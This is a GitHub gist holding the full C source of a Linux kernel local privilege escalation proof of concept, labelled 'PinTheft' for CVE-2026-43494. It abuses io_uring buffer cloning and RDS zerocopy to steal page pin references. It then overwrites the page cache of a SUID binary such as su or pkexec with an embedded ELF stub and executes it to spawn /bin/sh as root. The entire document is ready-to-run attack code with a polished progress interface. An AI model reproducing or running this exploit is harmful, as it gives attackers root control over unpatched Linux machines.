Skip to content

Instantly share code, notes, and snippets.

@spynika
Created May 26, 2026 12:09
Show Gist options
  • Select an option

  • Save spynika/bd10e4ce05b02731dc6266b8ce21160b to your computer and use it in GitHub Desktop.

Select an option

Save spynika/bd10e4ce05b02731dc6266b8ce21160b to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/io_uring.h>
#include <linux/rds.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#ifndef IORING_REGISTER_CLONE_BUFFERS
#define IORING_REGISTER_CLONE_BUFFERS 19
#endif
struct io_uring_clone_buffers {
__u32 src_fd;
__u32 flags;
__u32 src_off;
__u32 dst_off;
__u32 nr;
__u32 pad[3];
};
#define PAGE_SIZE 4096
#define GUP_PIN_COUNTING_BIAS 1024
#define PORT_BASE 20000
#define MAX_RETRIES 5
static const uint8_t SHELL_ELF[129] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x8d,
0x3d,0xdb,0xff,0xff,0xff,0x6a,0x00,0x57,0x48,0x89,0xe6,0x31,0xd2,0xb0,0x3b,0x0f,
0x05,
};
static const char *suid_candidates[] = {
"/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd",
"/usr/bin/chsh", "/usr/bin/newgrp", "/usr/bin/umount", "/usr/bin/pkexec", NULL
};
#define ANSI_RESET "\033[0m"
#define ANSI_DIM "\033[2m"
#define ANSI_BOLD "\033[1m"
#define ANSI_RED "\033[38;5;196m"
#define ANSI_GREEN "\033[38;5;46m"
#define ANSI_CYAN "\033[38;5;51m"
#define ANSI_YELLOW "\033[38;5;226m"
#define ANSI_MAGENTA "\033[38;5;201m"
#define ANSI_ORANGE "\033[38;5;208m"
#define ANSI_WHITE "\033[38;5;255m"
#define ANSI_GRAY "\033[38;5;245m"
#define ANSI_PURPLE "\033[38;5;99m"
#define LOG(fmt, ...) ui_log(fmt, ##__VA_ARGS__)
#define ERR(fmt, ...) ui_err(fmt, ##__VA_ARGS__)
#define OK(fmt, ...) ui_ok(fmt, ##__VA_ARGS__)
static int g_phase = 0;
static void ui_line(void) {
fprintf(stderr,
ANSI_GRAY " ╰" ANSI_PURPLE "────────────────────────────────────────────────────────" ANSI_RESET "\n");
}
static void ui_banner(void) {
fprintf(stderr, "\n");
fprintf(stderr, ANSI_MAGENTA
" ███████╗██╗ ███████╗██╗ ██╗\n"
" ██╔════╝██║ ██╔════╝╚██╗ ██╔╝\n"
" ███████╗██║ █████╗ ╚████╔╝ \n"
" ╚════██║██║ ██╔══╝ ╚██╔╝ \n"
" ███████║███████╗███████╗ ██║ \n"
" ╚══════╝╚══════╝╚══════╝ ╚═╝ \n"
ANSI_RESET);
fprintf(stderr,
ANSI_PURPLE " ┌─" ANSI_RESET
ANSI_BOLD ANSI_WHITE " PinTheft " ANSI_RESET
ANSI_DIM "·" ANSI_RESET " "
ANSI_CYAN "CVE-2026-43494" ANSI_RESET
ANSI_PURPLE " ─ io_uring GUP pin theft ─────────────────────┐\n"
ANSI_RESET);
fprintf(stderr,
ANSI_PURPLE " │" ANSI_RESET " "
ANSI_GRAY "kernel local privilege escalation PoC" ANSI_RESET
" "
ANSI_PURPLE "│\n"
ANSI_RESET);
fprintf(stderr,
ANSI_PURPLE " └" ANSI_GRAY "──────────────────────────────────────────────────────────────" ANSI_RESET
ANSI_PURPLE "┘\n\n"
ANSI_RESET);
}
static void ui_phase(const char *title) {
g_phase++;
fprintf(stderr, "\n");
fprintf(stderr,
ANSI_ORANGE " ▶ " ANSI_BOLD "PHASE %d" ANSI_RESET
ANSI_GRAY " │ " ANSI_RESET
ANSI_WHITE "%s" ANSI_RESET "\n",
g_phase, title);
ui_line();
}
static void ui_log(const char *fmt, ...) {
va_list ap;
fprintf(stderr, ANSI_CYAN " ◇ " ANSI_RESET);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, "\n");
}
static void ui_ok(const char *fmt, ...) {
va_list ap;
fprintf(stderr, ANSI_GREEN " ✓ " ANSI_RESET);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, "\n");
}
static void ui_err(const char *fmt, ...) {
va_list ap;
fprintf(stderr, ANSI_RED " ✗ " ANSI_RESET);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, "\n");
}
static void ui_progress(int cur, int total) {
const int width = 32;
int filled = total ? (cur * width) / total : 0;
if (filled > width) filled = width;
fprintf(stderr, "\r" ANSI_GRAY " │ " ANSI_RESET);
fprintf(stderr, ANSI_PURPLE "[");
for (int i = 0; i < width; i++)
fprintf(stderr, i < filled ? ANSI_MAGENTA "█" : ANSI_GRAY "░");
fprintf(stderr, ANSI_PURPLE "]" ANSI_RESET);
fprintf(stderr, " " ANSI_WHITE "%3d%%" ANSI_RESET, total ? (cur * 100) / total : 0);
fprintf(stderr, ANSI_GRAY " (%d/%d)" ANSI_RESET, cur, total);
if (cur >= total)
fprintf(stderr, "\n");
fflush(stderr);
}
static void ui_stat_box(const char *label, const char *value, const char *color) {
fprintf(stderr,
ANSI_PURPLE " │ " ANSI_RESET
"%-18s" ANSI_GRAY " → " ANSI_RESET
"%s%s%s\n",
label, color, value, ANSI_RESET);
}
static void ui_footer(int success) {
fprintf(stderr, "\n");
if (success) {
fprintf(stderr,
ANSI_GREEN
" ╔══════════════════════════════════════════════════════════╗\n"
" ║ " ANSI_BOLD "CHAIN COMPLETE" ANSI_RESET ANSI_GREEN
" · spawning privileged context... ║\n"
" ╚══════════════════════════════════════════════════════════╝\n"
ANSI_RESET);
} else {
fprintf(stderr,
ANSI_RED
" ╔══════════════════════════════════════════════════════════╗\n"
" ║ " ANSI_BOLD "ABORTED" ANSI_RESET ANSI_RED
" · exploit chain did not finish ║\n"
" ╚══════════════════════════════════════════════════════════╝\n"
ANSI_RESET);
}
}
static void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
ERR("sched_setaffinity: %s", strerror(errno));
exit(1);
}
}
static const char *find_suid_target(void) {
for (int i = 0; suid_candidates[i]; i++) {
struct stat st;
if (stat(suid_candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
OK("Found SUID: %s", suid_candidates[i]);
return suid_candidates[i];
}
}
return NULL;
}
static int backup_target(const char *path) {
const char *name = strrchr(path, '/');
name = name ? name + 1 : path;
char backup[256];
snprintf(backup, sizeof(backup), "/tmp/.backup_%s_%d", name, getpid());
LOG("Backing up %s → %s", path, backup);
int src = open(path, O_RDONLY);
if (src < 0) {
ERR("open src: %s", strerror(errno));
return -1;
}
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (dst < 0) {
ERR("open dst: %s", strerror(errno));
close(src);
return -1;
}
char tmp[4096];
ssize_t n;
while ((n = read(src, tmp, sizeof(tmp))) > 0) {
if (write(dst, tmp, n) != n) {
ERR("write backup: %s", strerror(errno));
close(src);
close(dst);
return -1;
}
}
close(src);
close(dst);
OK("Backup: %s", backup);
return 0;
}
static int steal_one_ref(void *page_addr, int port) {
int fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (fd < 0) return -1;
int v = 1;
setsockopt(fd, SOL_SOCKET, SO_ZEROCOPY, &v, sizeof(v));
int sndbuf = 2 * 4096 * 4;
setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
v = 2;
setsockopt(fd, SOL_RDS, SO_RDS_TRANSPORT, &v, sizeof(v));
struct sockaddr_in a = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) {
close(fd);
return -1;
}
a.sin_port = htons(port + 1);
struct iovec iov = { page_addr, 2 * PAGE_SIZE };
char cb[CMSG_SPACE(sizeof(uint32_t))];
memset(cb, 0, sizeof(cb));
struct cmsghdr *cm = (struct cmsghdr *)cb;
cm->cmsg_level = SOL_RDS;
cm->cmsg_type = RDS_CMSG_ZCOPY_COOKIE;
cm->cmsg_len = CMSG_LEN(sizeof(uint32_t));
struct msghdr m = {
.msg_name = &a,
.msg_namelen = sizeof(a),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cb,
.msg_controllen = sizeof(cb),
};
sendmsg(fd, &m, MSG_ZEROCOPY | MSG_DONTWAIT);
close(fd);
return 0;
}
struct uring {
int fd;
void *sq_ring, *cq_ring;
struct io_uring_sqe *sqes;
uint32_t *sq_head, *sq_tail, *sq_mask, *sq_array;
uint32_t *cq_head, *cq_tail, *cq_mask;
struct io_uring_cqe *cqes;
size_t sq_ring_sz, cq_ring_sz, sqes_sz;
};
static int uring_setup(struct uring *r, unsigned entries) {
struct io_uring_params p;
memset(&p, 0, sizeof(p));
r->fd = syscall(__NR_io_uring_setup, entries, &p);
if (r->fd < 0) {
ERR("io_uring_setup: %s", strerror(errno));
return -1;
}
r->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(uint32_t);
r->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);
r->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe);
r->sq_ring = mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
if (r->sq_ring == MAP_FAILED) {
ERR("mmap sq_ring: %s", strerror(errno));
return -1;
}
r->cq_ring = mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
if (r->cq_ring == MAP_FAILED) {
ERR("mmap cq_ring: %s", strerror(errno));
return -1;
}
r->sqes = mmap(NULL, r->sqes_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES);
if (r->sqes == MAP_FAILED) {
ERR("mmap sqes: %s", strerror(errno));
return -1;
}
r->sq_head = (uint32_t *)((char *)r->sq_ring + p.sq_off.head);
r->sq_tail = (uint32_t *)((char *)r->sq_ring + p.sq_off.tail);
r->sq_mask = (uint32_t *)((char *)r->sq_ring + p.sq_off.ring_mask);
r->sq_array = (uint32_t *)((char *)r->sq_ring + p.sq_off.array);
r->cq_head = (uint32_t *)((char *)r->cq_ring + p.cq_off.head);
r->cq_tail = (uint32_t *)((char *)r->cq_ring + p.cq_off.tail);
r->cq_mask = (uint32_t *)((char *)r->cq_ring + p.cq_off.ring_mask);
r->cqes = (struct io_uring_cqe *)((char *)r->cq_ring + p.cq_off.cqes);
return 0;
}
static int uring_register_buffers(struct uring *r, void *buf, size_t len) {
struct iovec iov = { .iov_base = buf, .iov_len = len };
int ret = syscall(__NR_io_uring_register, r->fd,
IORING_REGISTER_BUFFERS, &iov, 1);
if (ret < 0) {
ERR("io_uring_register buffers: %s", strerror(errno));
return -1;
}
return 0;
}
static int uring_clone_buffers(struct uring *dst, struct uring *src) {
struct io_uring_clone_buffers arg;
memset(&arg, 0, sizeof(arg));
arg.src_fd = src->fd;
int ret = syscall(__NR_io_uring_register, dst->fd,
IORING_REGISTER_CLONE_BUFFERS, &arg, 1);
if (ret < 0) {
ERR("io_uring_clone_buffers: %s", strerror(errno));
return -1;
}
return 0;
}
static pid_t spawn_ring_holder(int ring2_fd) {
pid_t pid = fork();
if (pid != 0) return pid;
fcntl(ring2_fd, F_SETFD, 0);
for (int fd = 0; fd < 1024; fd++)
if (fd != ring2_fd) close(fd);
open("/dev/null", O_RDONLY);
open("/dev/null", O_WRONLY);
open("/dev/null", O_WRONLY);
execl("/bin/sleep", "sleep", "99999", (char *)NULL);
_exit(0);
}
static int uring_submit_read_fixed(struct uring *r, int file_fd, void *buf, uint32_t len) {
uint32_t tail = *r->sq_tail;
uint32_t idx = tail & *r->sq_mask;
struct io_uring_sqe *sqe = &r->sqes[idx];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_READ_FIXED;
sqe->fd = file_fd;
sqe->off = 0;
sqe->addr = (uint64_t)(unsigned long)buf;
sqe->len = len;
sqe->buf_index = 0;
r->sq_array[idx] = idx;
__atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE);
int ret = syscall(__NR_io_uring_enter, r->fd, 1, 1,
IORING_ENTER_GETEVENTS, NULL, 0);
if (ret < 0) {
ERR("io_uring_enter: %s", strerror(errno));
return -1;
}
return 0;
}
static int uring_wait_cqe(struct uring *r, int32_t *res_out) {
uint32_t head = *r->cq_head;
uint32_t tail;
for (int i = 0; i < 1000; i++) {
tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);
if (head != tail) break;
usleep(1000);
}
tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);
if (head == tail) {
ERR("CQ timeout — no completion");
return -1;
}
uint32_t idx = head & *r->cq_mask;
if (res_out) *res_out = r->cqes[idx].res;
__atomic_store_n(r->cq_head, head + 1, __ATOMIC_RELEASE);
return 0;
}
static void uring_destroy(struct uring *r) {
if (r->sq_ring && r->sq_ring != MAP_FAILED) munmap(r->sq_ring, r->sq_ring_sz);
if (r->cq_ring && r->cq_ring != MAP_FAILED) munmap(r->cq_ring, r->cq_ring_sz);
if (r->sqes && r->sqes != MAP_FAILED) munmap(r->sqes, r->sqes_sz);
if (r->fd >= 0) close(r->fd);
memset(r, 0, sizeof(*r));
r->fd = -1;
r->sq_ring = r->cq_ring = MAP_FAILED;
r->sqes = MAP_FAILED;
}
static int create_payload_file(void) {
char path[] = "/tmp/.payload_XXXXXX";
int fd = mkstemp(path);
if (fd < 0) {
ERR("mkstemp: %s", strerror(errno));
return -1;
}
unlink(path);
uint8_t page[PAGE_SIZE];
memset(page, 0, sizeof(page));
memcpy(page, SHELL_ELF, sizeof(SHELL_ELF));
if (write(fd, page, PAGE_SIZE) != PAGE_SIZE) {
ERR("write payload: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
static int evict_page_cache(const char *path) {
int fd = open(path, O_RDONLY);
if (fd < 0) {
ERR("fadvise open: %s", strerror(errno));
return -1;
}
if (posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED) < 0) {
ERR("posix_fadvise: %s", strerror(errno));
close(fd);
return -1;
}
close(fd);
return 0;
}
static int attempt_exploit(const char *target, pid_t *daemon_out, int show_phases) {
if (show_phases)
ui_phase("Memory & io_uring setup");
void *buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) {
ERR("mmap buf: %s", strerror(errno));
return -1;
}
memset(buf, 0, PAGE_SIZE);
if (mprotect((char *)buf + PAGE_SIZE, PAGE_SIZE, PROT_NONE) < 0) {
ERR("mprotect guard: %s", strerror(errno));
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
char addr_buf[32];
snprintf(addr_buf, sizeof(addr_buf), "%p", buf);
ui_stat_box("Pinned page", addr_buf, ANSI_MAGENTA);
OK("2-page mapping + PROT_NONE guard @ %p", (char *)buf + PAGE_SIZE);
struct uring ring, ring2;
memset(&ring, 0, sizeof(ring));
memset(&ring2, 0, sizeof(ring2));
ring.fd = ring2.fd = -1;
ring.sq_ring = ring.cq_ring = ring.sqes = MAP_FAILED;
ring2.sq_ring = ring2.cq_ring = ring2.sqes = MAP_FAILED;
if (uring_setup(&ring, 4) < 0) goto fail_buf;
if (uring_register_buffers(&ring, buf, PAGE_SIZE) < 0) goto fail_ring;
OK("Ring-1 buffer registered (FOLL_PIN +%d)", GUP_PIN_COUNTING_BIAS);
if (uring_setup(&ring2, 1) < 0) goto fail_ring;
if (uring_clone_buffers(&ring2, &ring) < 0) goto fail_ring2;
OK("Ring-2 cloned buffer table (imu->refs = 2)");
pid_t daemon = spawn_ring_holder(ring2.fd);
if (daemon < 0) {
ERR("fork daemon: %s", strerror(errno));
goto fail_ring2;
}
uring_destroy(&ring2);
char pid_buf[16];
snprintf(pid_buf, sizeof(pid_buf), "%d", (int)daemon);
ui_stat_box("Ring holder", pid_buf, ANSI_CYAN);
OK("Daemon holds ring2 fd (blocks unpin on cleanup)");
*daemon_out = daemon;
if (show_phases)
ui_phase("Pin reference theft (RDS zerocopy)");
LOG("Stealing %d pin refs via RDS zerocopy...", GUP_PIN_COUNTING_BIAS);
int stolen = 0;
for (int i = 0; i < GUP_PIN_COUNTING_BIAS; i++) {
if (steal_one_ref(buf, PORT_BASE + i * 2) == 0)
stolen++;
if ((i & 31) == 0 || i == GUP_PIN_COUNTING_BIAS - 1)
ui_progress(i + 1, GUP_PIN_COUNTING_BIAS);
}
OK("Stole %d/%d references", stolen, GUP_PIN_COUNTING_BIAS);
if (stolen < GUP_PIN_COUNTING_BIAS - 10) {
ERR("Too few stolen refs (%d) — RDS may be unavailable", stolen);
goto fail_ring;
}
if (show_phases)
ui_phase("Page cache overwrite & privesc");
LOG("Evicting page 0 of %s from page cache", target);
if (evict_page_cache(target) < 0) goto fail_ring;
OK("Page cache evicted");
LOG("Draining PCP (256 populate mmaps)...");
void *drain[256];
for (int i = 0; i < 256; i++) {
drain[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
}
OK("PCP drain complete");
LOG("munmap pinned page → free to PCP top");
if (munmap(buf, PAGE_SIZE) < 0) {
ERR("munmap: %s", strerror(errno));
for (int i = 0; i < 256; i++)
if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE);
goto fail_ring;
}
OK("Page freed — io_uring retains dangling struct page*");
LOG("pread %s → reclaim freed frame as page cache", target);
int tfd = open(target, O_RDONLY);
if (tfd < 0) {
ERR("open target: %s", strerror(errno));
for (int i = 0; i < 256; i++)
if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE);
goto fail_ring;
}
uint8_t scratch[PAGE_SIZE];
if (pread(tfd, scratch, PAGE_SIZE, 0) < 0) {
ERR("pread: %s", strerror(errno));
close(tfd);
for (int i = 0; i < 256; i++)
if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE);
goto fail_ring;
}
close(tfd);
OK("Page cache populated at reclaimed frame");
for (int i = 0; i < 256; i++)
if (drain[i] != MAP_FAILED) munmap(drain[i], PAGE_SIZE);
int payload_fd = create_payload_file();
if (payload_fd < 0) goto fail_ring;
OK("Payload file ready (%zu byte ELF stub)", sizeof(SHELL_ELF));
LOG("IORING_OP_READ_FIXED → DMA overwrite page cache via dangling page");
if (uring_submit_read_fixed(&ring, payload_fd, buf, PAGE_SIZE) < 0) {
close(payload_fd);
goto fail_ring;
}
int32_t cqe_res;
if (uring_wait_cqe(&ring, &cqe_res) < 0) {
close(payload_fd);
goto fail_ring;
}
close(payload_fd);
if (cqe_res < 0) {
ERR("READ_FIXED CQE: %d (%s)", cqe_res, strerror(-cqe_res));
goto fail_ring;
}
OK("DMA write complete (%d bytes)", cqe_res);
tfd = open(target, O_RDONLY);
if (tfd < 0) {
ERR("verify open: %s", strerror(errno));
goto fail_ring;
}
uint8_t check[sizeof(SHELL_ELF)];
if (pread(tfd, check, sizeof(check), 0) != (ssize_t)sizeof(check)) {
ERR("verify pread: %s", strerror(errno));
close(tfd);
goto fail_ring;
}
close(tfd);
if (memcmp(check, SHELL_ELF, sizeof(SHELL_ELF)) != 0) {
ERR("Verification failed — page cache not overwritten (race lost?)");
goto fail_ring;
}
OK("Verified: page 0 matches SHELL_ELF stub");
uring_destroy(&ring);
munmap((char *)buf + PAGE_SIZE, PAGE_SIZE);
ui_footer(1);
LOG("Executing %s (injected stub → /bin/sh as root)", target);
{
const char *bn = strrchr(target, '/');
bn = bn ? bn + 1 : target;
fprintf(stderr,
ANSI_YELLOW " ◇ Restore: cp /tmp/.backup_%s_%d %s && chmod u+s %s\n" ANSI_RESET,
bn, getpid(), target, target);
}
for (int fd = 3; fd < 1024; fd++) close(fd);
execl(target, target, (char *)NULL);
ERR("execl: %s", strerror(errno));
return -1;
fail_ring2:
uring_destroy(&ring2);
fail_ring:
uring_destroy(&ring);
fail_buf:
if (buf != MAP_FAILED) munmap(buf, 2 * PAGE_SIZE);
return -1;
}
int main(void) {
ui_banner();
pin_cpu(0);
ui_phase("Reconnaissance");
LOG("Affinity locked to CPU 0");
ui_stat_box("CPU pin", "cpu0", ANSI_CYAN);
const char *target = find_suid_target();
if (!target) {
ERR("No SUID binary found");
ui_footer(0);
return 1;
}
ui_stat_box("SUID target", target, ANSI_YELLOW);
if (backup_target(target) < 0) {
ERR("Backup failed — aborting for safety");
ui_footer(0);
return 1;
}
pid_t daemons[MAX_RETRIES];
int ndaemons = 0;
for (int attempt = 0; attempt < MAX_RETRIES; attempt++) {
if (attempt > 0) {
fprintf(stderr, "\n");
LOG("Retry attempt %d/%d", attempt + 1, MAX_RETRIES);
}
pid_t daemon = 0;
int ret = attempt_exploit(target, &daemon, attempt == 0);
if (daemon > 0)
daemons[ndaemons++] = daemon;
if (ret == 0)
return 0;
if (attempt < MAX_RETRIES - 1) {
ERR("Attempt %d failed", attempt + 1);
sleep(1);
}
}
for (int i = 0; i < ndaemons; i++) {
kill(daemons[i], SIGKILL);
waitpid(daemons[i], NULL, 0);
}
ui_footer(0);
ERR("All %d attempts failed — kernel may be patched or RDS/io_uring unavailable", MAX_RETRIES);
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment